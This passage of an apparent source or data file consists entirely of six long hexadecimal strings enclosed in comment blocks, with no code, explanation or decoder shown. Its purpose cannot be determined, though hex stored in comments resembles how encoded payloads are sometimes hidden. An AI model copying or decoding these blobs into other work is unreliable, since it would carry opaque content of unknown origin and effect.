a1ef75033dd444ae4186563d75fddbb12d1cd7562a4903d34a4d90dc76632440345df7b032a913988c71406ed5cdcebee44402330b253ef5fb0899f48020591f0e36bc4359e54395c1dbfa6b7c04bea140394c77685a1781db66543667382432be5897d0983ce149794c53482f5609154cbf1ef41734d03fc47c9bed0649156b9040cf8f137af9c8408a2fc6cb3c995e642d86df451b3a109a5827be4cea79e1b9ee16119d3d24c1a0e7687504b3b80512de7c990489e7ebd4ae6adc711410d0b01b9b307689cb9ac1d4e1c63302712b7ebe0584c8793e626e2250a69202413217e7007502e3f010279673869bb21d58090aeab7735e331fcc9ccec3a9ea7ff1c2a7f7d9ae37595c35cb475bacdba325914e8ae654f6b57df6c0288babe197de9b31206e1b96f009d3eb6c59c9ce592f0c55a89bc12c0d7a07aec8e4808e067d2aa234a3a824d61d4e581c4abfff9f7c02565085a4529503ba0ec9ad949331fb696d8f8152408a961c8d00dbbee6f79497fd944ad706da7b9709e665b3c08838d22287674577964c32e63e900dda9c0ab0cf2dbf8cdedd1fb276917adce7509b014afe8b4cffc66c855a0929b3822429b57e22b44120717fe61cb2c9637951c77a5a0ad3da549d83379bd94bd80497327cd11a5a905d1738862df54d8da737d4b5420846d55ab99bb58214b36e161f7dd225a5866022928d1ee41bca1fb09985a6583dbcc9f59b454bec94b1d1ce24d27b7bcd439e6b8972cf3dc01213f816f5bc5e44d2a1b965834a8f170b8d77f0df06c3a44e71cf4809522aee099df0a85c41d5f540914a7ecdcb9133cbcaab607268f47aa2886d8e56e0fe3ceaade088de99ca6f41fc13df876f7cd3218b575b9c1e659e43b8dcebfedc55cd3bedfe3efd174f6d6da1e62e6d54b31a5211251be484a5f1c08e79775fae3f0fa264f80a4aa7b72c5e5c5c4aa8260975ba0b9145d4539217458218f2338750123752cc24d9f6addefc1727975ca1e0eb69005a8e1ca5f7e65d2506e7ca55526420c88b370eaff535d956102f012188d13e772f2f2b172b9c6ada610dd3888e692ce8e45b61234290d2031c883ecf16312db557445d8da5123d5abc5bf82f579d7a0b6f27597432ec2210ab401634ff19fb0391101665259350c3ffc9609eef398736ee0300a37b250dd998d10ed5a88fd4be0fb7b6636a7eb2f8a2add31f89e290faa79602b70e7ae7b11eb88e3541a828b94a87756f3dba72a4a7828bc114484486b2940e94ed0464654f1a1f6942e1dd675da3ba4965abc5d1c74435b9df051dab40b10f7f81398b85506514bdf73260d7016bbe52fb04ac44224fed16be3943c24c73ea70198c4ddb5ae8742ad31a97c2cfa6a97cb7be397e7c35a8329460202112b134f431a71a05c19bac3a0be7da0e30d97c154180c3e320596aa8c8dfb294eb9b6392ba7eebe60eebe2e93557459f4f97c072f6c8f3c590cc284580163f2dd57e51f19ba599a6ca0f0bff543115097c084c62def22d082178e41e1e863b49738fc97bdc572595f2adbf8deb6b746ad76d3ed1f247e52e3deed83c8126f36269ef856d5689cf95caed4f750d8f43c796797da1d6a089858baf4ab8ee8294f650c2fc5c44e33de1461e4c0ce4147fee14692375607e0a860773dd93537699de65482b7daac4cfea6d5b97c9a6b828d89ded753bdbb7b1934d2b33bc5f0c25ccdfb55a5e13e193cb669fea2315eb73c40c1a2aebacf941c3db66fe7d8637b47bc811925cca4863281f18909b6fbde577578a76b2c442b2d0c2891c6d16b330015252f1305f7f9cdcb22fd9ceca5df3ab85be8c8af51d89c3df3eb2e07c757fc0465a0e0246398ce3c146427d21a43ee8e50767e12ab18229df2ed8bdaf2d87ccad4f3e3b01b87247994fafc1e124b40ba29d2e573b2ac0368db933fe43b1cd29315d1189c7d9d*/
/*ed886cc7877924de2d055687492a6307900ab2df47fb4f7a390e3044beb297a11097b59c2adc4f2673ea1265d51ab371f49bf4371828f2e9f89be459f9909c22a2b1cd160e5d6f23d5080661da90d3003184ae57491e5acfa1c17c7be4ad978067c57948e306459f5ef970b8433d64641d9a7a3cb01bf03e95433148c5bdf6a6f1b3eb69fd9b0b39048072b811cf7fa6ad87b0ce24256ac32607f4e90e1d5e9cd132b3cb5545597fa058bd303ab40021e0219e635b82e1a3d225b75ecca8f0dff25a58c25ebd3da63576fe81e7b3931573c56590cf64f04822f183b1ad11197602c94dd1695f31687a2dc0499068e647dd583a00faef9300d7d201d8ec077c3b3f4ab1ad4cb8b854684a9e55e4817fdeda420f1fc231d48692ab0b33f3e22fdc2570b0b93b0a1445042c78f65f5ff29339fabb5edc9ef3d2ce6b005726538c34a96d59258c896746db5a699aaf2f4073b4a618efc4b2a3a215330638f881f83ade550bd7d1ecec2973b9502dea40bb63ca9f0ef5e333ffddff6a07b65d8612be9aa06911913b370952ea8c2d029ca7f2717b67d13e94d61b070869e430df39c281274b0b03606ba43a76b6c8dae9e6825965e7fca96269a81882e9caa806aa5362431c3bcef60ea1ef7cad3029e51a6f1a5c6162e28dccd3197f68f145745a890f29c837ab390dffdc21bd4a3ffa87dc33afba76aa4cd4b12b77b2ad7391f386bbecbcae11cf5967021a8a4f7a5b832668a11906ec7147d52a6b82b14d805ae16c6b63880b1ee79e1cc163127f0ad2dd771a4d63393c591f6397ae09ae1780e0666f0b7fa98a6e92f91bc0eb75cf977fa37c583184ed112fc3fd098fa024cff1cde97cc497887eb95d3514d1c77eefebb5c9b1c51d97b3e2fcd1cfbc9f917014c3458ecdc7fcb3f73b012d281d5b0c7734e1f215955bec881a54575cc614b78ea4db351b2781d89deb247aef788e1319c9dda24d9b649242292f4cbc44a5c5cc56a1279abb7218409de7a9329e1f1852592cff63105803f4ae5911f3458009bbc07e3592a25f625ce7a8fb48a0a1c7fc7c493b02752486f0c9e74d95fee4d1e409c9f244d0fb55f5b3f3920687dd936e2f7b83c1cb6662b0ac3021aa7462d01d3eb4a530f872475bcadbf2401c93223918e2461d236ed354b8e10c1870e67723e0c47d70a636b5ac8048c34b19d12dc185ab38914d8444121ecf0d66450cd3b776c3924a1974d20fac8412e44ec908bc2b990b20787d301ad721c4e851a3511bc68acf92c53d6793be01606538334b5b770181dd5837f439dead051cc3aae452af6288915fdfd0d5d2e91a7ec847df40e89f103b0a2c9060d1f0106874d74a745dbc3cbf857cd9b148fc78dad534ac202cad2a5c9c68e610370cbd1e3608d011be080d5d1066a03bb30334cd262674a47760def958b4148c2a6b11944d0d441efa3e8debd994ee8bfc93ff41b96fd888814b038046c49a2f5e15a4b305a6a28e47b299d49fb00b58570cc60488878539653a45572c8c830631bf0b79ceabcc6a70be3565fed846bb5f2dbe7f934bfec70c596fe3b05fe76c8d3a4baa9b9402b919e0decffb0dd60cbdb8bd7e70555e4250634b5b767b5ea599741ac81b2c1ae6778a14bcf2f8a772e9958964326a3a5416deb0326978998276ae941f75ef3e54f686b7d0bb386d6b1a8c98f59559ab0a27ca0da91f069f286957fd39d0ddb5f5baa71f3a27d8735f862f5e512a52c7d89e2f5049a5b24c5ba221bc378af3fa6b0db635d2488f7b31f9961ba4f54ba5d365413d8bea5b4836923548d8e5948471d0a0c19bfc5ef7c045f07e16349a99a112006fd5820c75dc8370141237f7020d73ebdf12ad4fdd7eba93706da8c190b62c32b1673378135654e11ce979a4fc25c87656f005923845765cba042075fe917cc3da6faf02ac5b1268c5d2f114c768b65566b7ce81b7d97379ba2c39759257c11d7081d5468ce29b3f95738d88fcdf0861dd0690b598b09be7a556a9bbdee0cd440795d1b680fc1e72ad3286bd0ec8f4c2524134bb5da721e65ca18004b9aface15274912b9ef5a7212f3be5312e4d08cf2f90fe24539aafe24703a6089da71ddf0db1f45efce70f132c8ae1974e7570ba3225ac613e94b48fbe28fd848b782d4a803288327c618d9c808d81bb2d36cf183f5649306aecac21cc84357261ef7f9160cd0256f6777a0e8734df5539e5e7c4be20097746f93cf3c1224dba396b5da2611fda9ba9ba6e638db95bdc00508042085d0fe5435a4e62d926fc518e4425b07c8fe1d42a0f680e12b9fdc830fb57e69e890fe84b63a10456e4f21784e129c601b4adb176bee19cb78ffa074c479b7fdca3de792a223bad56649214155dde5265063034e04202137c323b8eaa6cce0e93e10d2bd01e85c0ce13ca7fe076b53d3b26b5e733fc86f86362d29b7857e237aaf08fa9c7eff9dbc15a55564fcbb7ed982549bea614aee7075a8904de8328e9beac0e81313f3f9371e445118c8efad34614a296f910f762807f582197769f9a3d1d77790e59be87c123689a114e6c3b4da7c6f646fea28cd9e01748feb28ef31cf5bc5cf603aa5ef3677500c117843d78a9bbeaf23b4312d69604e2943e6714b2dc55ff73e556aee8ac9e3118337ddec5e05e2f0f281f0ea3852e8b2e4ab210ab53f354a0710a25656daa546c9c871ff9daa40ba2e9ba31a127607471ea263efdccdb53f0c7c53131a54389914e6bdb91abcf1941a602d26980f95c3d5f1303a75523534d51d765d7a16caeddf97ca0ba5a633d6e26952cdd62fc9c30c525d733b1c5b1dca5223227b0184a2616*/
/*b4e6e252af18738c9a2b282370600182774735afd99202a6fdbd313c34c21e10a6a1a873ad2f4701b9d8c179534a18db9f2cb614badaa4d7d5cd34a2d461ed76efd2e840f7fdc6e4bfd206b4b66e7e993a368ca7aac827e5a69360842e19f6791c37ee11fc9229ba25a21e88cf6fb3d3db381793ea0990c00046b4b789eba7feb5ec8254656d1fe76e95a2a860099b1fab5c3f1d2e36bd946f9cf2440ad9aa5973583510d9523bbbed121f1fa943846d002379a37db74bf3763f6e8d5196741956b088a4f467d7f42adfde867e817db47a8e1e19388a6564b4e740c30c0920edd18fa848ddf190602faf18edc993c309637bb7944f9518255406dbdacd13fcbb885866c23e495142460ab75833a49b74f139680185c1547ab78097229c902d968520836573779c2f60a3774284d9f0b5beaedeeb6bc003d10715ff04b13eb3657a73373dc51bc8e0b77fb7b1edea9703b59c8f272a0773213ecd5bee77ea52da1b73782714970ff05efd719e182dee9e1611818dd0055f6f834a2f6132bcdda7e89476c50cba85b64fac344ad32fce7c9100ce41bbd1edb836b444248c69a3a03ef2dbe8fcb79c938c0622e2a42e3187a038ccec13286613051b8a10f696950cc359a36be8f8ea5ad868efec0ff469ff082c82e28fb99230ff33132fe8ce513362b883aed28094543860e579681166fc59e6d5736d77796952460268af1e056556b7b2fe0e8a7a2630e7c73138c38ae66e43092b59e11e9bf7e05a29e04e106d2207c5a34cec95808e2c645dc0a0dbed6e796b4c13c416c84bc0348d602403b3ea2d90010f241296c0ce32fc25201fd5eb034032e5fae1cf9a06e85130687e3387fe697fe6645fff19f34a5d45de19565dab3911d475c3ab44f46ee2856d51ed6a483b8aaaceabbf40a6177117d70a8cf4ee0960d672e9b03a8147dcdab60682a7650fcc9ad2fa731f013445acd99d9d95665b9713c9fa48a10c0c4c0f29fc23835d74841950e10a9a3ba0c82c3615947702ac6ba94fc2f68566bef5e920a109a236eb8cc33b99532e422554f948a658a0c4b75632d4ed34e9d04b08393b8613d0f4726668d17d2a9d63d057d498dba899718b7898b15ce707681fa50e7c90a2ccd6716373b0c5e1ceb0d0fe34d37d4b4d2d6f95d6446874244ad4161a2d255a58d5810a0d54144507af9f90e314740c763c3c3c734a20964bf0835294b58f12af0f0c9bc94051387d9b8bf79abd9f71395567a9434d64199bce723cdf86832e92f5f7b499e06e467c77452006dcc47e2534a5576fcefe7b08f2e25322eaedb4ce8ab3ca265a15cde2ab22797def8d08366b788cfcaec1f2747a3dbca1d4b47d98a126307b91aef5e866bc5c6c7ac383a32f7bbb2d012cd5df4306e124b2a03965ddc902ec7751c6a3085f0f890ec4767160ef5fee481e531a309a30480e3fab19f13745fab51f50c86d0b0c089718fe4888d3382862fa5af07192f3e7a54a5b79617d70266f570986d53c34b1bcbd04217462a299ec6b428f3b14caef3b45c99a8fef27f680cc154bc9f0f0b8e6044fe7e4c2ae7b5480da02f3c6f631226e1fe9b01dffaf7ba94d6a5c2f49688ab6360c65e56bc327659ccadd877248b48701c08599c90a58da9eb41aa80d39c46bdf7b0aaf2f8e6f91e625d97d38514a61b6581b0a9c70570d8e1b3a65e190592d1cf0da829e7430cedbe5dbaea8dfe1d8a3a3c3fad524a2bf9141d741b2f4f3709cb7ae03ccfc870730f283d4c4e54aaaea9a864df6bcf10d8a9be92f70d5eed1e9d44f20a997a67d7b1a9a5af5db853b375dde800bd5118097604b4bfa0250ff3a914714f8fd81b3fcc5517143fb8081c84150c686dd785f0b04c9a3b12592eba423397817d937c58ce2e4b40c6bf6173c5af3d883e86a1e1cec6d1ebaa0de7902b6a817debdd01fa0152baf9623e9c8e18fe3545326afd0e96432d2377f1cc46345d4b874169d6f669784ec6882d5f23e6d8e12d0ca19b4d04dc1749feab8fc4057dd04ae57a6e9d5b336a869c43108b1dba745a688c98152f15cf35f8dde134585dbf32c7307a7a7ba8d0295827dcb4731336354340694a6c4587adc493ef29d4c6c390f40f0c0fbf264698840d2b274c54591ec9cda9b690abf9f4524569b2acfacdf9591df666e148ec86020f4be72b4887757d106545a6ced703a9574f3c7fc6f64f29812469484eda2e98a10db0fca110ffcfea6fe2bc8f5c7577d3715eba46fecb086b05ad123a5b9019c744435ec5875836ce16f939ead8dac8b146f48385be12e8a61df5f9ba5cbddb89d4137fe104895c57717f7b3f324cd792a90edee41b2730b52710d5c53734e48c297c8ba0a0dc6456107600bb61f243c67b931b1680f95e03c8ef176a0df33abaa80db88656b129e882928ef407fe9f0757c30c1f1aeecdb923df3b03f4147aee368d5c43e29236c505149dbfb564dd86199941e8dc8d20a444a2d66cfc3f7d2438159235d70762e12df76dc3146bc3c176e6864aec38a809f5cb35fa0eaee32b2a0810627d1f525dc768367f069b8b902f07703c7e17ef2d19499d6579b29d380e22c7765f1984bd64346616f96ed2df16c2d43c636c1b6a07b0db34139373bec557069f9b228ba4b46f05efa27529f9803fa0bf17744a17aa3bb085b6415521a593c588b0425c485161f3f375dc35c679a466b04856487cefdddff3f25c9bc0d07a5e0a378320d9909c579cf7ba08951815d6f3e550a476493f8233fc605c89a15045b0c7c6e9c34475cc9ac21954ab1100fbaf72eee721d03574a979cf10fb6d423f74d04b3bb6360e9c8f2726be7fb2f1d*/
/*bd1fc8eff8165586ea456bb0767295eafa63ff4d5a373b8e0f6222e3dc257685eade6f521000b12ee9d6c9183b13553d3a48daf362e96ae43eaece3d01581ddf161fb228796e3fe394857becd35ef57aea60e30ae88a1624e305354be752df0a751e51d0aacd82a81c68dfa8a956019e67e9e310b2d1e3ce7f22cae4bf047c96c476ba9084f97d10343a40ef0ca333465c7337edf1bf2f13bcc5297290a6f6d609e2cdf50e1c4f1bc03bc9cd43dfca4244ae31ebbab8dd92c01c57f4c4ee75813ff361794d59c45af54013bc694c5c97d62e01d4df4fe48f98a49806b56f7e47d09004031d810f983aac730fc5ed5d9eb298b668be4e6a919e3e83b665088a409707d3d005604850b3c93d92f0f045ba2fcf998fd7945c305cf9375b2614445734f16200a5b9ec7ae584fca430b85a5ab2f3e57c84d8e6265efc4c1015dd4035cf856ba2ce73c242ba0090cbc918c67f8e7947042bb653675130f65ceeb9e6f706cc884421d30a8294711124d3822cef71605d3580b728818ca35e1d95529d0218292700513932904550957fc4a5bc197da20c2fbc97e05651c5b9c5d67ba057e68a8fd53e7e87a2496ca5e3f8cc79aad73b0c86945ca972b6fa5e4da6bddc8abfad1a87357580ed25a242f68a8ca6ae846298dceb9a01f4ccd862dc920108c3da7f38adbb7ec9024cdeaa755870fbd3c06bcb667bb00f3f48cad5fc9ae4a7dc42fa5a5fc71ab2a4c944eea6a0416d7cf12d64524ad5762418c2802ae0fb2b7e38d7866ffe1f56cfebe5fb62a2b88de0d0ca51cb3eb512e6a929c5d3ce43b5433c5958234ec544a89dff58fd6a8aab19145ad28a31c05237aaf54464d99bd476cda40572ccec3cc777f4268f93304304287a35c780c62666c0819bc80f20e1a0ebc9bf8ba5ac37fbc74a4b25db56e3b9250f18575fbf0dc2ecd638a5b164f4a67b2ecf0ca1671ef3283965d1aee405350de1460c57d06d4478e1f2be0163dfc13757653f794286f50a689aca06abcf535622c0db14201c64bb85b65989b3aea8094be8aa66b2f03dddfe1b3727ed87fb34f1b0e7483072997ebd9fdb458e0093b3c645b4f5eed031317c77bd42518f6e1801c95a23a2e68b0486fc4e10b9f40583155fa51bf3d1b0f07530dcb8dd1a2661169a47ba8611badbc65faf2f208b7dcdeeef6849daab3172e3b205eeec5ac310a7c87a3c7d6cc57ec175e9a9db87658aedc127a8f8707ee005e45aaefd3092c398b747c927fba0795b5e7ae2497a4327a5e5fd995c8c8f660e8f477adf6f7e8bb5e7912e1247b9c2be049046de85a3f46d7cbac268b2115d456d44d3a64a7c5d1a24a6e2d3b7ab66d7bf8480cf3089db00d830ee3ed87cdb90adf1ee9e958778b9ffc0b7eeab34bf3a4138f5433f9084588fbb019303c006f18a371cd114858cbbe8c66a029d68a2e7467a8fac1c54fdd04a6a0dfa96ef9aaed91603732bfee2a635022bdfd623169132f45fd9946387e6dd7716c7948453e5289e5c83c20dec9f3db2c09e8bba7d4de1081846dfd7d6f27e6bc2e259a9e4c2179868b1ca1383765699f42e6b8336ce1403c70fa9b9808ec7c6f4438bc90467816cbb689ff04da2e5e9f65c85d6e9f5f7aa7c842c82eaca27781ed3a2ff85017ef646c1350a36f33c7ed7326c22835a6740342b5885aa44b0ba69d99c0b224207ef6832c020b824bd0ad8ad2244630324870c34aa1c8ff162919d3007b29e3a25a3db346075e723e27d5b816b7e1891387039eac2bf9d644b3fc2c69a135a8afd662373f7c12dcf1677c6a9ee1c3d9d84d230864a2d437f0408c843f33f456d048176b97547aaa793a261db4f97de8988463488ab60ca3010a08d9675d053ca1b66a8fd033277df96c3f57330064177b2d617d361784849eb6a143221cba4d73a1d821ebe67abcaef69e8050f43c86c4c386c71dbc2f6519f9ebe16b441b0a82e46bc60cdbd3245492f6f63dd3cbfb3d0aab8c986f304aa679fbcbf0f8398cc3fccee407fe3ce3bb68c9a6e91ce585055aed220ef732ffc82d54611d6a9a0c4e01139536a0470dea9172282d00558af2da6435a22aa72507115ca12aded0372f7611ad35b46d9653feeaa5905d6dbe41bce632f8ed6f68dd72b6c796f3514265e2c9db2c4bcbe005fc8a5fc55b5af9b3e780910ad9e8e2540745f69f9c9eb3537c749c355ca991d43252a7d0a3e5f8d4f6a3653ef4bb37e4af2169f756feee223e5f0040ca51ee1f1a5abf9a7ac1de673d45f356e3a9ff3625f6b4c4339f0e529f52830b6104c5dea1b2189be9419205d5782217c44468e43e377c6e30791012d867ab20846cca8e5e6cffae78b640f4b33a0bb05f42eb6def4631d65be0bb5fd04c7d8f36e7d25bc4ea9338e09dd2656b3c9f6690de49ed0508620e3301dfa2ad827de7cd34ffbc6e80e7daa42ee1a1dd162f8f8e5bd3768eb6b1dc81cdef6597d58d5e7dde22a286809a7f9892ee1f93bd7af4dcc59bc9b7acb2835a37024c7d85802ce8a2871938d3842c061fad0563d6fcc493eba5b33de17ec4540be192f800c3ddb9b0c04985ee191fd54f746970a3228183cb7044914a58437750941610d2bfb516b8a12fd036c3dcbdbb5b7c8577ed1a074bd4f652b86eed48c326e30213d8ee914620a9f0bc89da016e0bdf9efa7614eb70528414a7f025aac1c2b29a8e709adb52487c4abb14399ce59aa4ca6a59563f3941768a197b3c303c43ddbc85adf33ad9d9db08581e6f6f7fd83e2c3a212523999dfca98edcf9c93a17352b93e78268600f717dcff1b67edbf86e886c94f2746c100e1954d211d58c52a8d4673b77ea9*/
/*c13b1b642855f8698a9dd67d003608b36a0676c5e81435ba9e0651d2db0eb82bc63b0e88ce8219c70b0510f31960f1a77b084196a0008fbc04d632f1f2fa99909e232a60bb66fe01931b8cc66ae58d084eb449e853fefbf2b272e0afa50241c23cc12ffac485518e62ad12820725f74e57f34490a1f2bb00096b324b5b6da5275df1a28c0f59df715216b36356b766ca391403cd6496ee26380afbb45f98c4b0b5cfdff6f850e7d44f8011ac73de98676d3269980ba93c41d1783ddf8b2ed1654cafd62117255fb729767c5d43bb197d2af251f2fe07d15e1fead9f652ca4134d284309c9ec2b7d134ec8407d23b240ea8e9c46205665179dfa57b84cb51a51d43bf80de22e4ba87870657c7b76e9a531de3da4430f14bafac234f1995e326d5b0d24ed94f3d48f97a634eec86c787ef69252e95d51119a8fc5a50b1aeab2bd13bc31501904be02cffcc9ba2af867194b7b40a899e47bb9c9af7572a5a73b51b807bb52edd06ae19e9a81ac702fa02b8132d4d767264245de31b8fa42a5237a0b49c83daa835d7c5c6419dda0b064e1ddb9b40daca9123c528b215917cd46eba473c19578c343b6633e29fec562fd41cba94a6bb5a9446c9f3764a59bdb2969c1c09256a230d68ee5074e26d267dfa6fd37a39590b6e99bae06ed1d8d6e58e07a6129fd6a10210a38ff5c0170057d8ed497df70825d9efeaca1ede727094a815843f93a59728f16d9bfb7f85185bf0b435e5d792f7ceb25d99ba0ff4cd1a7e3c65aa4461a783d870abe8fa387da8e04f98db0ec15e939f471dc4a69248e4e2186b1a68b32619fcdf13a934ab0109e89af41616862534504b47f65da20c30c9ce0a6e5e5a21961bd2e19d7a1feb031b4a4c41150cf580f5205a2c71fedfc45d5a92f3ac276423c7a5d11d4d7ece9b09e7f341253aadcf66e473bf455cfd5be4989eecdeb5f7784abbdde2b5fde01897cefdcb17b00e666d41af973442816fd9b14b7c9750c1d54b827087f3ecb98cad15502c1b42e55e9c6f37b2d263b535af29c194ba78cb47de7f47fecd8594a3bd2ff31e32422897b01447f857d74b92c833d8e78f592a3e0518c4b384c03b802baf66b7185c81be7b768e8a0680525288ce5ef8382d202abefd955150e46a7427ab2b66fa64a379116e28b3f24eb4d48ec6f11732e8f6fca173175a0374a4d1f9fcd03763ebfd4d557274945e751ced5a18b5d8da779906a347c37443c327ca706ab555d96799f314d0cf0cfc887fa8c16dbedd66529923e1904c3098d8dc67a3e1a0e0bcc5791a21b308e3f72c1c52a7c26aec916aa81b6725e96fe3d3ee6a0be61cd9664da80e5a5298db1a99769450ad2b7e81d7d81a89b741c7b115654e2024baf7758948aa791d64f7b91609bcb2c33b7a3a7394887030958c77cb6672dc1f85397d840e34a1539f581ccda9fda7fdf43ab8ffeb1e22a39562aaf997940601eccf914712d5f9425abd5f805463d4f2217ea9ecf6552230aa41d0380a8ad56dacbf6d2554f2fad2b877a8c84360fd0a6bae917b18f38d56e09babfc42a43734664889b5d96b7b5bef260caa6cf1cd4a5a488c0657d6bc90725f20ff1ee7d543ccd9e3ad1dce2810dc94fbb87423fe957ba177dd3b8b0961401ccb8f870635308f34f11e2a99cab9ca07a01fd75abf1c18cd3a4bef9dd4596a50b899b92f503dc9a1b9b3c76c9a9e1575b8416c65bdee56e392977c9f53de0cb1a4f8fe49b8e8f6d0aeb45832b575621c4ae17522fb4caecabe1a67243db4373633339d1a1150292e41723e7c4610a1290f6f2da2b65e95254d7e4b97bff8f0998101dad78c8c5b68302ff1efa2a70fc4655337c7bbd9dfe289cc039ff240d4556380288aaaba2d3a5962751736163899d09bf521eced6fd3e1054399746620928e57b2d0a05d471cf38bdcf8ed6c4db37a58bc32158696132ab65e6c5cb8264fb869c3021125163b7b8bec1b7995c095491cbdd31070ece7a6fc018a9a4211ff6cb1d84053dd1d30f61aafa8152f91e5d7b318aece7a2c6562baa57c2dc6e06c67f9875de76d3578b3647b2dbba7143ded92990d53af89a788a8c5b7f170413b268f3a097b47f99165736460ca3bb6880592121602ddaf29310c8a292c430a0cce0ca1339f34f377baf5e49139b9fc9b0654dc01388bcd4ff1e295cf3f5761771bfcc4a706460f99a0d86e24a0084a3ebcfc8af2e2e28b72826235bf3a24b732d9201a4ffab9efc12483bcfddddc0ed8198a4fdfa24db4d48ed6f982c022da58c42aea27962d2476ba395c2cc27f3a8af382cb8cd21f870b72afe7dd4569cea061e8f2563b932af01f3dd4d49167e30a23e74b9e1bca2da58aa8a447c59044153ddca277a8edb394073b993faf8422e3a1fb57388187358ac5b10a8f9c77ad59de98b51e37413fc49fe1ba190dba415d2ec53fdb54c1d3a01321ceedcc605c53ca530f7e4e74c03d04cb58b0d4b78780aa3f2fa0918bc8c0bfe3a80315b9f08d4944284c5dbc36c64a78edd82b07125bddaa0f2de4c2dc9c55ab59076e9c6ce27ef824c9681ce216a772eb2b4355233d438f0e1210e537cf12f6b12f3d8be940b24a49f06dc02d3d305001f3814458e1ee0ad5f820d78b5e215b8a297cb5df1bde905a41eaf97920148f2a21d618ee991b05435ecb5926847ccbbaf5883fde6dd3c27fa6acff24515c886310a2d3b9bea9fe7dba0c01bfaa4c5a97406817ac38e8a7f4388b1d4cd8e6689c1c6c5e36f8a9ab7ed20bfd2bc188eae6b83f135f973b787e699b29d5910b31102aa7d3006b5801392a9e8377fde3dc444148a59217d58999f002cc*/
/*9609f715463a746247b21356146c02d4fffb7071df2fc8eeed563d039695234393762d1e78f5c44b76befbe966e50a0e944448b8faefd95ebc25118bab4a033341e97a29da2524a74ba7abc3bf960f02d5aebd3acd65ab6db9746c7da6ce6463e137ca120be7cfa9f8ac26d264f165d9c007352af740ad661498cad09a7f173df5865feb89f1e9ff9eff3fae893b908e1fdbcd90c2e3d7fbb3b5a5664b46e3a344ef7596aff123965619a5f36e92e3b73786d619dd303864c45aea0e747e52229790829370a65ea73eb587c466d8e0d77ef6f93ba9953de608985847c5986a0ff22b216c09550e7129e6d6eb4c6eb88bef899122074bba8a3483c9edcbdcbde1829d307b1c4a594a88bf35d1dee2093edd06c8b3dfa43d8bfd5823009d5d8263ec6908489192f89099be3bf4224288f790266ee2e80c0ef58aad45d2edecd99b3a57b07220c5e221904a156dfc7a9b5733ab9b1a752c733e5d94ae34341ee305f2ec8ad0a5f7b51de0e594cfd3a42b4f2ed3345a4e70e47112c3b8bc2f4cab5b293a7aaae226e79a1f5af4ca21aba17e6c0f69b7ebaf026c3a803d922f7203cdbe072be1b2832b2e27d18a020994980c9cadadab8027807ea355463bb9f15b26f0f72a3ec2c797ba02b5ec059509cafe1519680dfc51f631bebba995ac17f3d7128f20af52116b4a968d76eb0fe2306c7485165900fd6c439b44caa9b7567604ca13170a92bcd6bcfe1b6039bf6b6a9fcd5bd1427d54f7779f797e672b2f73bc897bc4a3aa1cecaffc37d0f264ff08346f1d404234486fba21e2ebefb52ba47d6a2cb6a9c2ca27aa803d665df13eb0f25302fe938baa932076b213d129efdb3c920bfa1b4ed0743d03f67c427f7098e1b24347339c3d0b9f69f5c7f4efb93ff166ef9d0450bf36dc66291dc8ecbd61d7370a22250213603fb08fc1ab368e370fdd0a6aa6f4b5922d496f129ba70912b1fa229be07090253eaedd22d33f7f38186d715c1b04ccf69d531db3abb2614ec933fc232216482064fae357686b4742ff4d70b7e3d976f6035b78b76d93a569e4d3afab5baf7dd73918bfe06dd9880fc8a4c40e9dd93c65e25fc069e0b16e68872a93de3511b83afef1b34ad89777ee3f41ecf073bd1d6db56db26cf33bd98cbc4999d6a9682eef5e90ee4a3f1d3f1022fd969eb01a50f3ea5c60de22014be762efa45ec44979a7afd18e41be9cd4ec8acd8321a56ee4071c9fd84e0eff6d6bcb1769f3a03d490c33d3af0a0273c55d00b3e9b2904247273ee68d0db94d8af5497ac7168d9e96d524813d5af183e5f01b89c3e31e090c3377cccdca650e1c7322ea2cfda9a6aa1185534c5baac5e72822c7f8fb14772d864464887ddbcc236d16dce414278baee0354d611bf844b5dc7a3c9d36a380f2c9633ce87ec4300f7b527d3b7c146e4347e6f846922c223139075fbbe2613072ed1ce3887c4063df719f1a4a76334821fe0a5fe6c5c6ad681b31dd9b32604a7a4c46539389b1a66267af13d84390ca54f7073398e3365392f19a628773da6293d1586ad39ce52ae3a7bfb3be57c78e82fd9cbd25adf50ead64101bfb55ef87c2f952118ff8c77833d76114cc878bc02e62bd37aed910a9ddeed004c56ed7a47a48c979436c84c5d7c4b36894c20329eed5b4b08d909c577b65fecf75a2c7b897fc77d6dfaa976af4974226fb62dfecb7e07a10cb455a73a250a10df83256ade80a29794d6312729f7b7d5263778cca225ec301291fb0a9252a97dd1fad0789b1102d15acf49a13e240b4c6aefcdcaf256b1c73378c779d835c7a463b4bce3f194bf9d18dd932630b1fdfe151c72bcc6584e51010bb5fd06bcb42c1b94a82fee3392fa0885cdf7c6b116b13468d6d56e74f9eb3a451cfa91084e68a719e2cd1f21bbf61fe9df1dbaeb546a8ed23983b3eb84e3eb93871fad6069f46ec8f4a0881d6caac9d5771dd6790ae339a9a2c273b5719d9c4625548b0ed43116f604c90c48d32dbc567da69213c63b145818edebfcd9673f4c297a8fa850d5414b37b5225bbed6d11a381cd0972e5521b3c53e986c5ea9b926cd79283b464fa00c55a40d9fa43b3f5dd52a514a87c73ae2633f6c2399a4f3ce0f6dbbd91078841792de577ba7db3665846e6b61fc5fe77a8c9d3faf7af2c8b01da3f7b3f7e5c1845a410937d6e15c286b3edc43f1ae66e3c38997b386c22506b4cfb3f19b6e1f2740b1e387be04f96f042b256e049a68ff34112aea13476bf657df02b24aafd3ad7fef9f65b84e195757b0dd5a99c505227f4587c3396b21ac765a37541c45614d591aa801c7dfe71b8605a9c8ceae3e9910a84ca5ca196817441711214ff9a20f927375bdc84db00ab7e492792cd28ec5cefcd05e59de48e08d9ee0c9c61a8d7b990e1c65016415e8faaf7b3d6d7539d5a52b93fb99a874ed54db3926e45965463d634729e7b94804ed23fbdff76bb18d24ab79671472875a0245f10dcd6e465c2317aaf3d93a32d853bbc3a55c0b8c119a78f446c024cec9f7e598069017302744d7e4602fade2400e05e998775199057cbcd92d26262a61ddb6f2330f4c159a256f25adcc52171558cb8d64e396645b31eb4ef16fa48e0439f1301d8765d9f83c64e56010ecf4259f7870a5e74fb2df16b2cd0b1007f14d5b20244fb2ab9f32949583ade6ead505a15e76e0b76e005c29c1cb722996c2275eb9594347468d802d4e21ec7142e71c811a545008e30533fa144dbe38b6e835a84edfb54aa4adc9a610db204ad57bb2afa58a3ca24b384e628f0051600c7ee23b1616a0f81735df3d7d603a5cc2904954f9365f371*/
